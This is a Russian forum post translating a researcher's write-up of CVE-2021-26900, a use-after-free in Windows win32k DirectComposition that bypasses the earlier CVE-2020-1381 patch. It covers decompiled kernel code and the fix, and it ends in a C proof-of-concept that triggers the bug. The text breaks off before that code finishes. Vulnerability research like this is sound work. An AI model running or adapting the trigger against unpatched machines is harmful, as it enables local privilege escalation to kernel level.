• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2021-26900: Повышаем привелегии с помощью Use-After-Free в win32k

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
В марте 2021 года Microsoft выпустила патч для исправления уязвимости в ядре Windows. Ошибка могла позволить злоумышленнику выполнить код с повышенными привилегиями. Об этой уязвимости программе ZDI сообщил исследователь безопасности JeongOh Kyea (@kkokkokye) из THEORI. Он любезно предоставил эту подробную рецензию и Proof-of-Concept с подробным описанием ZDI-21-331 / CVE-2021-26900 и того, как он обходит исправление для CVE-2020-1381, выпущенное в июле 2020 года.

DirectComposition
Компонент DirectComposition был добавлен в Windows 8 и обеспечивает эффективную поддержку графических эффектов, таких как преобразование изображений и анимация. На CanSecWest 2017 @360Vulcan сделал презентацию по поиску уязвимостей в DirectComposition - Win32k Dark Composition [PDF].

Доступ к DirectComposition можно получить с помощью системных вызовов win32k, которые начинаются с NtDComposition. До Windows 10 RS1 вызывающий выполняет отдельный системный вызов для каждого действия, такого как создание или освобождение ресурса. После Windows 10 RS1 они объединены в один системный вызов NtDCompositionProcessChannelBatchBuffer, который обрабатывает несколько команд в пакетном режиме. Работа, представленная @360Vulcan на CanSecWest 2017, анализирует эту функцию для поиска уязвимостей. С тех пор было обнаружено множество уязвимостей, связанных с DirectComposition, включая CVE-2020-1382.

Есть три основных системных вызова для вызова любой уязвимости DirectComposition:
  • NtDCompositionCreateChannel
  • NtDCompositionProcessChannelBatchBuffer
  • NtDCompositionCommitChannel
Чтобы создать объекты DirectComposition, вызывающий должен сначала создать канал с помощью системного вызова NtDCompositionCreateChannel.
C++:
// Create Channel
HANDLE hChannel;
PVOID pMappedAddress = NULL;  SIZE_T SectionSize = 0x4000;
DWORD dwArg1, dwArg2;
NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress); // Data is Transferred through pMappedAddress

После создания канала можно отправить несколько команд с помощью системного вызова NtDCompositionProcessChannelBatchBuffer.
У каждой команды есть свой формат с разными размерами:
C:
enum DCOMPOSITION_COMMAND_ID
{
  ProcessCommandBufferIterator,
  CreateResource,
  OpenSharedResource,
  ReleaseResource,
  GetAnimationTime,
  CapturePointer,
  OpenSharedResourceHandle,
  SetResourceCallbackId,
  SetResourceIntegerProperty,
  SetResourceFloatProperty,
  SetResourceHandleProperty,
  SetResourceHandleArrayProperty,
  SetResourceBufferProperty,
  SetResourceReferenceProperty,
  SetResourceReferenceArrayProperty,
  SetResourceAnimationProperty,
  SetResourceDeletedNotificationTag,
  AddVisualChild,
  RedirectMouseToHwnd,
  SetVisualInputSink,
  RemoveVisualChild
};

Адрес сопоставленного раздела, pMappedAddress, используется для хранения пакета команд. После сохранения нескольких команд в pMappedAddress вызывающий может вызвать NtDCompositionProcessChannelBatchBuffer для начала обработки команд.

Чтобы вызвать уязвимость, нам нужно использовать 3 команды:
  • CreateResource
  • SetResourceBufferProperty
  • ReleaseResource
Во-первых, CreateResource используется для создания объекта определенного типа. Размер команды CreateResource составляет 16 байт, а формат следующий. Тип ресурса может отличаться в зависимости от версии Windows. Вы можете легко получить номер типа ресурса, проанализировав функцию win32kbase!DirectComposition::CApplicationChannel::CreateResource.

1.png


C:
// Create Resource
*(DWORD*)(pMappedAddress) = CreateResource;
*(HANDLE*)(pMappedAddress + 4) = 1; // Resource ID (a unique number)
 
// For example, on Windows 20H2, 19042.804:
//   0x58 == CInteractionTrackerMarshaler
//   0x59 == CInteractionTrackerBindingManagerMarshaler
*(DWORD*)(pMappedAddress + 8) = 0x59; // Resource Type
*(DWORD*)(pMappedAddress + 12) = FALSE;
 
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 16, &dwArg1, &dwArg2);

Во-вторых, SetResourceBufferProperty используется для установки данных для целевого объекта. Размер и формат этой команды зависит от типа ресурса.

2.png


C:
*(DWORD*)pMappedAddress = SetResourceBufferProperty;
*(HANDLE*)(pMappedAddress + 4) = 1; // Resource ID
*(DWORD*)(pMappedAddress + 8) = subcmd; // Sub-Command
*(DWORD*)(pMappedAddress + 12) = datasize; // Datasize
CopyMemory(pMappedAddress + 16, data, datasize); // Data
 
// Total size of command == 16 + datasize
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 16 + datasize, &dwArg1, &dwArg2);

Наконец, ReleaseResource используется для освобождения ресурса. Размер команды ReleaseResource составляет 8 байтов, а формат следующий.

3.png


C:
*(DWORD*)(pMappedAddress) = ReleaseResource;
*(HANDLE*)(pMappedAddress + 4) = 1; // Resource ID
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 8, &dwArg1, &dwArg2);

Системный вызов NtDCompositionCommitChannel отправляет эти команды после сериализации в диспетчер окон рабочего стола (dwm.exe) через протокол локального вызова процедур (LPC).
После получения команд от ядра диспетчер окон рабочего стола (dwm.exe) отобразит эти команды на экране.

Уязвимость
Уязвимость CVE-2021-26900 связана с CInteractionTrackerBindingManagerMarshaler и CInteractionTrackerMarshaler. Эта уязвимость очень похожа на CVE-2020-1381, поэтому мы сначала объясним CVE-2020-1381, прежде чем обсуждать CVE-2021-26900.

CVE-2020-1381
CVE-2020-1381/ZDI-20-872 была исправлена в июле 2020 года. Уязвимость возникает в функции DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty, которая является обработчиком команды SetResourceBufferProperty объекта CInteractionTrackerBindingManagerMarshaler.

C:
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
  if( subcmd || datasize != 12 )
    return STATUS_INVALID_PARAMETER;
 
  resource1_id = *(DWORD*)(databuffer)
  resource2_id = *(DWORD*)(databuffer+4)
  new_entry_id = *(DWORD*)(databuffer+8)
 
  // [1]. Get Proper Resource
  if ( resource1_id && resource1_id < resinfo->resourceid_max )
    tracker1 = *( (resource1_id - 1) * resinfo->entry_size + resinfo->resource_list );
  else
    tracker1 = NULL;
 
  if ( resource2_id && resource2_id < resinfo->resourceid_max )
    tracker2 = *( (resource2_id - 1) * resinfo->entry_size + resinfo->resource_list );
  else
    tracker2 = NULL;
 
  // [2]. Check Resource type == CInteractionTrackerMarshaler
  if ( tracker1 && tracker2 && tracker1->IsOfType(0x58) && tracker2->IsOfType(0x58) )
  {
    /*
      1. Find tracker pair in tracker list
      1-1 If it exists, update entry_id
      1-2 If it does not exist, add a new entry
    */
  }
  /* ... */
}

Объект CInteractionTrackerBindingManagerMarshaler принимает 12 байтов в качестве данных для команды SetResourceBufferProperty. Данные состоят из трех DWORD: resource1_id, resource2_id и new_entry_id.

Эта функция сначала извлекает ресурсы из resource1_id и resource2_id, указанных пользователем ([1]). Затем он проверяет, что тип каждого из этих ресурсов равен 0x58, что является типом ресурса CInteractionTrackerMarshaler ([2]).

Затем пара ресурсов CInteractionTrackerMarshaler добавляется в список трекера объекта CInteractionTrackerBindingManagerMarshaler. Как указано в их названиях, два типа объектов, CInteractionTrackerMarshaler и CInteractionTrackerBindingManagerMarshaler, связаны друг с другом. Объект CInteractionTrackerBindingManagerMarshaler хранит список пар объектов CInteractionTrackerMarshaler, и каждый из этих объектов CInteractionTrackerMarshaler имеет обратный указатель на объект CInteractionTrackerBindingManagerMarshaler.

Когда функция DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty вызывается в первый раз, пара трекеров добавляется в список, потому что список пуст.

C:
// Size == 32 bytes
struct TrackerEntry
{
  CInteractionTrackerMarshaler* Tracker1;
  CInteractionTrackerMarshaler* Tracker2;
  DWORD entry_id;
  DWORD flag1;
  BYTE  flag2;
};
 
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
  // ....
  // 1-2. Add New Entry
  if ( new_entry_id )
  {
    // [3]. Append Pair Data to list
    result = DirectComposition::CDCompDynamicArrayBase::Grow(binding->tracker_list, 1, 'siCD');
    if ( result < 0 )
      return result;
   
    entry_size = binding->tracker_list.entrysize; // 0x20 by default
    offset = entry_size * (binding->tracker_list.numofentry - 1);
    dest = binding->tracker_list.ptr + offset;
 
    // struct TrackerEntry* TrackerPairEntry;
    TrackerPairEntry->Tracker1 = tracker1;
    TrackerPairEntry->Tracker2 = tracker2;
    TrackerPairEntry->entry_id = new_entry_id;
    TrackerPairEntry->flag1 = 0;
    TrackerPairEntry->flag2 = 1;
 
    memmove(dest, TrackerPairEntry, entry_size);
 
    // [4]. Set reference from `CInteractionTrackerMarshaler` to `CInteractionTrackerBindingManagerMarshaler`
    if ( !tracker1->binding_obj )
      DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker1, resinfo, binding);
    if ( !tracker2->binding_obj )
      DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker2, resinfo, binding);
  }
  // ...
}

Чтобы добавить новую запись в список трекеров, размер tracker_list увеличивается на 1 и записываются данные новой пары трекеров ([3]). Затем он устанавливает ссылку из каждого объекта CInteractionTrackerMarshaler на объект CInteractionTrackerBindingManagerMarshaler ([4]) с помощью функции DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler, которая выглядит следующим образом.

C:
void DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(DirectComposition::CInteractionTrackerMarshaler* tracker, DirectComposition::CApplicationChannel *resinfo, DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding_obj)
{  
  old_binding_obj = tracker->binding_obj;
  if ( old_binding_obj != binding_obj )
  {
    if ( binding_obj )
      binding_obj->refcnt++;
    DirectComposition::CApplicationChannel::ReleaseResource(_resource_list, old_binding_obj);
    tracker->binding_obj = binding_obj;
  }
}

Функция DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler обновляет tracker->binding_obj для нового объекта CInteractionTrackerBindingManagerMarshaler.

После добавления пары объектов CInteractionTrackerMarshaler в tracker_list связь между объектом CInteractionTrackerMarshaler и объектом CInteractionTrackerBindingManagerMarshaler будет следующей:

4.jpg


Поскольку они ссылаются друг друга, ссылки должны быть очищены при освобождении объекта. Посмотрим на ситуацию, если объект CInteractionTrackerMarshaler освобожден. Чтобы освободить ресурсы, связанные с объектом CInteractionTrackerMarshaler, вызывается функция DirectComposition::CInteractionTrackerMarshaler::ReleaseAllReferences.

C:
void DirectComposition::CInteractionTrackerMarshaler::ReleaseAllReferences(DirectComposition::CInteractionTrackerMarshaler *tracker, DirectComposition::CApplicationChannel *resinfo)
{
  /* Omitted */
  // ...
  binding = tracker->binding_obj;
  if( binding )
  {
    DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings(binding, tracker->resource_id);
    DirectComposition::CApplicationChannel::ReleaseResource(resinfo, binding);
  }
 
  tracker->binding_obj = NULL;
}
 
void DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, int resource_id)
{
  for (int i = 0; i < binding->tracker_list.numofentry; i++)
  {
    entry_size = binding->tracker_list.entrysize; // 0x20 by default
    entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
    entry_tracker1 = entry_ptr->Tracker1;
    entry_tracker2 = entry_ptr->Tracker2;
    if(entry_tracker1->resource_id == resource_id || entry_tracker2->resource_id == resource_id)
    {
      // set entry_id to 0
      entry_ptr->entry_id = 0;
    }
  }
  // Delete the entry of which entry_id is zero.
  DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion(binding);
}

Если объект CInteractionTrackerMarshaler имеет привязку к объекту CInteractionTrackerBindingManagerMarshaler, вызывается DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings для удаления соответствующей записи отслеживания.

В DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings, если один из двух объектов трекера в записи имеет идентификатор ресурса, соответствующий удаляемому объекту, entry_id этой записи будет установлен в ноль. Наконец, он вызывает DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion для очистки тех записей, для которых entry_id равняется нулю.

Однако что произойдет, если один CInteractionTrackerMarshaler будет добавлен в несколько списков трекеров CInteractionTrackerBindingManagerMarshaler? Поскольку при добавлении новой записи нет проверки, объект CInteractionTrackerMarshaler, который уже привязан к объекту CInteractionTrackerBindingManagerMarshaler, может стать привязанным ко второму объекту CInteractionTrackerBindingManagerMarshaler.

На изображении ниже показана эта ситуация:

5.jpg


В этой ситуации, если Tracker1 освобожден, удаляется только запись в TrackerBindingB, потому что Tracker1 привязан к TrackerBindingB. В конце концов, запись объекта TrackerBindingA имеет освобожденный указатель на объект.

6.jpg


Этот указатель на висячий объект позже разыменовывается в функции DirectComposition::CInteractionTrackerBindingManagerMarshaler::EmitBoundTrackerMarshalerUpdateCommands, которая может быть запущена с помощью системного вызова NtDCompositionCommitChannel. Этот системный вызов обращается к ресурсу во время сериализации пакетных команд.

C:
bool DirectComposition::CInteractionTrackerBindingManagerMarshaler::EmitBoundTrackerMarshalerUpdateCommands(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CBatch **a2)
{
  result = true;
  for (int i = 0; i < binding->tracker_list.numofentry; i++)
  {
    entry_size = binding->tracker_list.entrysize; // 0x20 by default
    entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
    entry_tracker1 = entry_ptr->Tracker1;
    entry_tracker2 = entry_ptr->Tracker2;
    if( entry_ptr->entry_id )
    {
      result = entry_tracker1->EmitUpdateCommands(a2) & result;
      result = entry_tracker2->EmitUpdateCommands(a2) & result;
    }
  }
}

Показанная выше функция вызывает метод EmitUpdateCommands для объектов в tracker_list. На освобожденный объект будут ссылаться в процессе, что приводит к уязвимости использования после освобождения.

CVE-2021-26900
CVE-2021-26900/ZDI-21-331 повторно активирует указанную выше уязвимость, минуя исправление CVE-2020-1381. Патч CVE-2020-1381 выглядит следующим образом:

C:
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
  // ...
  // 1-2. Add New Entry
  if ( new_entry_id )
  {
    if ( !tracker1->binding_obj || tracker1->binding_obj == binding ) { // [*] Check tracker1->binding_obj
      if ( !tracker2->binding_obj || tracker2->binding_obj == binding ) { // [*] Check tracker2->binding_obj
        /* Add Tracker Pair routine */
        result = DirectComposition::CDCompDynamicArrayBase::Grow(binding->tracker_list, 1, 'siCD');
        // ...
        // Omitted
      }
    }
  }
  // ...
}

Часть, отмеченная [*], была добавлена для проверки binding_obj объекта CInteractionTrackerMarshaler. он проверяет, что CInteractionTrackerMarshaler еще не привязан к другому CInteractionTrackerBindingManagerMarshaler.

Однако этот патч можно обойти, обновив запись трекера. Код для обновления записи трекера:

C:
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
  // ...
  // 1. Find tracker pair in tracker list
  for (int i = 0; i < binding->tracker_list.numofentry; i++)
  {
    entry_size = binding->tracker_list.entrysize; // 0x20 by default
    entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
    entry_tracker1 = entry_ptr->Tracker1;
    entry_tracker2 = entry_ptr->Tracker2;
 
    tracker1_id = tracker1->resource_id;
    tracker2_id = tracker2->resource_id;
 
    if ( (entry_tracker1->resource_id == tracker1_id && entry_tracker2->resource_id == tracker2_id) ||
         (entry_tracker1->resource_id == tracker2_id && entry_tracker2->resource_id == tracker1_id) )
    {
      // 1-1 If it exists, update entry_id
      if ( entry_ptr->entry_id == new_entry_id )
        return 0;
      // [1] Update entry_id
      entry_ptr->entry_id = new_entry_id;
      entry_ptr->flag2 = 1;
 
      if ( !new_entry_id )
      {
        // [2] if the new_entry_id is zero, remove relationship between CInteractionTrackerMarshaler and
        // CInteractionTrackerBindingManagerMarshaler "if NECESSARY"
        DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(binding, resinfo, tracker1_id, tracker2_id);
      }
      else
      {
        // Some routine
      }
      // ...
      return 0;
    }
  }
  // 1-2. Add New Entry
  // ...
}

Сначала приведенный выше код пытается найти запись с парой трекеров (tracker1, tracker2) или (tracker2, tracker1). Если есть запись, entry_id обновляется до new_entry_id ([1]).

Самая важная часть, связанная с этой уязвимостью, - это [2]. Когда new_entry_id равен нулю, объект CInteractionTrackerBindingManagerMarshaler считает эту запись ненужной. Для обработки этой записи он вызывает функцию DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNeeded. Однако, эта функция не удалит эту запись. Только снимет привязку.

C:
void DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, int resource1_id, int resource2_id)
{
 
  if (resource1_id && resource1_id < resinfo->resourceid_max)
    tracker1 = *( (resource1_id - 1) * resinfo->entry_size + resinfo->resource_list );
  else
    tracker1 = NULL;
 
  if(resource2_id && resource2_id < resinfo->resourceid_max)
    tracker2 = *( (resource2_id - 1) * resinfo->entry_size + resinfo->resource_list );
  else
    tracker2 = NULL;
 
  tracker1_exist = false;
  tracker2_exist = false;
 
  // Check type of Resources
  if ( tracker1 && tracker2 && tracker1->IsOfType(0x58) && tracker2->IsOfType(0x58) )
  {
    for(int i = 0; i < binding->tracker_list.numofentry; i++)
    {
      entry_size = binding->tracker_list.entrysize; // 0x20 by default
      entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
      entry_tracker1 = entry_ptr->Tracker1;
      entry_tracker2 = entry_ptr->Tracker2;
 
      tracker1_id = tracker1->resource_id;
      tracker2_id = tracker2->resource_id;
 
      // Find the entry
      if ( entry_ptr->entry_id ) {
        if ( entry_tracker1->resource_id == tracker1_id || entry_tracker2->resource_id == tracker1_id )
          tracker1_exist = true;
        if ( entry_tracker1->resource_id == tracker2_id || entry_tracker2->resource_id == tracker2_id )
          tracker2_exist = true;
      }
    }
    // If there is no other object related with tracker1 or tracker2
    // Remove the binding.
    if ( !tracker1_exist )
      DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker1, resinfo, 0);
    if ( !tracker2_exist )
      DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker2, resinfo, 0);
  }
}

Вышеупомянутая функция пытается найти запись с идентификатором ресурса tracker1_id или tracker2_id. Если нет других записей с идентификатором ресурса tracker1_id или tracker2_id, это означает, что два объекта не должны ссылаться друг на друга. Таким образом, функция DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler вызывается с объектом привязки NULL, чтобы удалить привязку объекта CInteractionTrackerMarshaler.

Однако указатель tracker1 или tracker2 остается в списке трекеров, хотя привязка CInteractionTrackerMarshaler к CInteractionTrackerBindingManagerMarshaler удаляется. Обновление записи с нулевым значением new_entry_id приводит к состоянию, показанному ниже:

7.jpg


Теперь binding_obj объекта CInteractionTrackerMarshaler установлен в ноль, что позволяет обойти патч CVE-2020-1381. Если мы привязываем tracker1 к другому объекту CInteractionTrackerBindingManagerMarshaler, состояние изменяется следующим образом:

8.jpg


Затем обновление entry_id в TrackerBindingA до ненулевого значения приведет к тому же состоянию, что и в CVE-2020-1381.

Исправление
Патч, примененный к win32kbase.sys для исправления уязвимости CVE-2021-26900, выглядит следующим образом:
C:
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
  ...
 
  if( ( entry_tracker1->resource_id == tracker1_id && entry_tracker2->resource_id == tracker2_id ) ||
      ( entry_tracker1->resource_id == tracker2_id && entry_tracker2->resource_id == tracker1_id ) )
  {
    // 1-1 If it exists, update entry_id
    if ( entry_ptr->entry_id == new_entry_id )
      return 0;
    // [1]. Update entry_id
    entry_ptr->entry_id = new_entry_id;
    entry_ptr->flag2 = 1;
 
-   if ( !new_entry_id ) {
-     DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(binding, resinfo, tracker1_id, tracker2_id);
-   }
-   else {
-     // Some routine
-   }
    ...
    return 0;
  }
  // 1-2. Add New Entry
  if ( new_entry_id )
  {
    if (!tracker1->binding_obj || tracker1->binding_obj == binding) { // [*] Check tracker1->binding_obj
      if (!tracker2->binding_obj || tracker2->binding_obj == binding) { // [*] Check tracker2->binding_obj
+        overflow_check = tracker1->listref++ == -1;
+        if ( overflow_check ) {
+          tracker1->listref = -1
+        }
+        else {
+          overflow_check = tracker2->listref++ == -1;
+          if ( overflow_check ) {
+            tracker1->listref--;
+            tracker2->listref--;
+          }
+          else {
            /* Tracker Pair Add routine */
            result = DirectComposition::CDCompDynamicArrayBase::Grow(binding->tracker_list, 1, 'siCD');
            ...
            // Omitted
+          }
+        }
      }
    }
  }
  ...
}

Патч применяется к коду, который добавляет запись в tracker_list, изменяет entry_id и освобождает ресурс.

При изменении entry_id привязка не удаляется, хотя entry_id равен 0.

Затем при добавлении записи, к ресурсу добавляется поле listref. Это поле используется для правильного освобождения объекта, когда те же объекты вставляются в tracker_list.
C:
void DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo)
{
 
  live_obj_num = 0;
  for (int i = 0; i < binding->tracker_list.numofentry; i++)
  {
    entry_size = binding->tracker_list.entrysize; // 0x20 by default
    entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
    entry_tracker1 = entry_ptr->Tracker1;
    entry_tracker2 = entry_ptr->Tracker2;
 
+    if ( entry_ptr->entry_id )
+    {
      // Make list compact
      write_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * live_obj_num);
      memmove(write_ptr, entry_ptr, entry_size)
+    }
+    else
+    {
+      // NULL entry_id
+      entry_tracker1->listref--;
+      if (!entry_tracker1->listref) {
+        DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(entry_tracker1, resinfo, 0);
+      }
+      entry_tracker2->listref--;
+      if (!entry_tracker2->listref) {
+        DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(entry_tracker1, resinfo, 0);
+      }
+    }  
  }
  DirectComposition::CDCompDynamicArrayBase::Shrink(binding->tracker_list,
    binding->tracker_list.numofentry - live_obj_num);
}

Наконец, при освобождении ресурса привязка фактически удаляется в функции DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion.

C:
#include <windows.h>
#include <winternl.h>

typedef NTSTATUS(*pNtDCompositionCreateChannel)(
    OUT PHANDLE pArgChannelHandle,
    IN OUT PSIZE_T pArgSectionSize,
    OUT PVOID* pArgSectionBaseMapInProcess
    );

typedef NTSTATUS(*pNtDCompositionProcessChannelBatchBuffer)(
    IN HANDLE hChannel,
    IN DWORD dwArgStart,
    OUT PDWORD pOutArg1,
    OUT PDWORD pOutArg2
    );

typedef NTSTATUS(*pNtDCompositionCommitChannel)(
    IN HANDLE pArgChannelHandle,
    OUT LPDWORD out1,
    OUT LPBOOL out2,
    IN BOOL in1,
    IN HANDLE in2
    );


#define nCmdCreateResource 0x1
#define nCmdReleaseResource 0x3
#define nCmdSetBufferProperty 0xC
#define CInteractionTrackerBindingManagerMarshaler 0x59
#define CInteractionTrackerMarshaler 0x58

HANDLE hChannel;
PVOID pMappedAddress = NULL;  SIZE_T SectionSize = 0x4000;
DWORD dwArg1, dwArg2;
DWORD szBuff[0x400];

#define TrackerBinding1 1
#define TrackerBinding2 2
#define Tracker 3

pNtDCompositionCreateChannel NtDCompositionCreateChannel;
pNtDCompositionProcessChannelBatchBuffer NtDCompositionProcessChannelBatchBuffer;
pNtDCompositionCommitChannel NtDCompositionCommitChannel;

int main(int argc, TCHAR* argv[])
{

    LoadLibrary(L"user32.dll");
    NTSTATUS ntStatus;
    HMODULE win32u = LoadLibrary(L"win32u.dll");
    NtDCompositionCreateChannel = (pNtDCompositionCreateChannel)GetProcAddress(win32u, "NtDCompositionCreateChannel");
    NtDCompositionProcessChannelBatchBuffer = (pNtDCompositionProcessChannelBatchBuffer)GetProcAddress(win32u, "NtDCompositionProcessChannelBatchBuffer");
    NtDCompositionCommitChannel = (pNtDCompositionCommitChannel)GetProcAddress(win32u, "NtDCompositionCommitChannel");

    printf("[+] Create New Direct Composition Channel\n");
    ntStatus = NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress);
    if (!NT_SUCCESS(ntStatus)) {
        printf("[-] Fail to create Direct Composition Channel\n");
        exit(-1);
    }

    printf("[*] Create channel ok, channel=0x%x\n", hChannel);


    printf("[+] Create First TrackerBinding Resource Object\n");
    *(DWORD*)(pMappedAddress) = nCmdCreateResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
    *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerBindingManagerMarshaler;
    *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
    ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(ntStatus)) {
        printf("[-] Fail to create Direct Composition Resource\n");
        exit(-1);
    }

    printf("[+] Create Second TrackerBinding Resource Object\n");
    *(DWORD*)(pMappedAddress) = nCmdCreateResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding2;
    *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerBindingManagerMarshaler;
    *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
    ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(ntStatus)) {
        printf("[-] Fail to create Direct Composition Resource\n");
        exit(-1);
    }

    printf("[+] Create Tracker Resource Object\n");
    *(DWORD*)(pMappedAddress) = nCmdCreateResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
    *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerMarshaler;
    *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
    ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(ntStatus)) {
        printf("[-] Fail to create Direct Composition Resource\n");
        exit(-1);
    }


    printf("[+] Bind Tracker to the First TrackerBinding\n");
    szBuff[0] = Tracker;
    szBuff[1] = Tracker;
    szBuff[2] = 0x41414141;

    UINT datasize = 0xC; // Size == 0x10
    *(DWORD*)pMappedAddress = nCmdSetBufferProperty;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
    *(DWORD*)((PUCHAR)pMappedAddress + 8) = 0;
    *(DWORD*)((PUCHAR)pMappedAddress + 0xc) = datasize;
    CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
    ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(ntStatus)) {
        printf("[-] Fail to create Direct Composition Resource\n");
        exit(-1);
    }

    printf("[+] Unbind by setting tracker_id to 0\n");
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
    szBuff[2] = 0;
    CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
    ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(ntStatus)) {
        printf("[-] Fail to create Direct Composition Resource\n");
        exit(-1);
    }

    printf("[+] Bind Tracker to the Second TrackerBinding\n");
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding2;
    szBuff[2] = 0x42424242;
    CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
    ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(ntStatus)) {
        printf("[-] Fail to create Direct Composition Resource\n");
        exit(-1);
    }

    printf("[+] Activate the Entry by setting tracker_id to Non-ZERO\n");
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
    szBuff[2] = 0x41414141;
    CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
    ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(ntStatus)) {
        printf("[-] Fail to create Direct Composition Resource\n");
        exit(-1);
    }


    printf("[+] Release Tracker Resource Object\n");
    *(DWORD*)(pMappedAddress) = nCmdReleaseResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
